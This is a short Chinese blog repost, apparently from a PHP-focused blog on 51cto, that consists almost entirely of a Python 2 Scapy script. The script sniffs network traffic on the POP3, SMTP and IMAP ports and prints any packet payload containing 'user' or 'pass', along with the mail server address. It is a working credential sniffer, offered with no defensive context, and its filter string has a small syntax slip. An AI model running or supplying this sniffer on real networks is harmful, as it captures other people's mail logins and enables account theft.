标签:python filter import 嗅探器 数据包
from scapy.all import * #数据包回调函数 def packet_callback(packet): if packet[TCP].payload: mail_packet = str(packet[TCP].payload) if "user" in mail_packet.lower() or "pass" in mail_packet.lower(): print "[*] Server: %s" % packet[IP].dst print "[*] %s" % packet[TCP].payload #开启嗅探器 sniff(filter="tcp port 110 or tcp 25 or tcp port 143",prn=packet_callback,store=0)
本文出自 “专注php” 博客,请务必保留此出处http://jingshanls.blog.51cto.com/3357095/1834122
标签:python filter import 嗅探器 数据包
原文地址:http://jingshanls.blog.51cto.com/3357095/1834122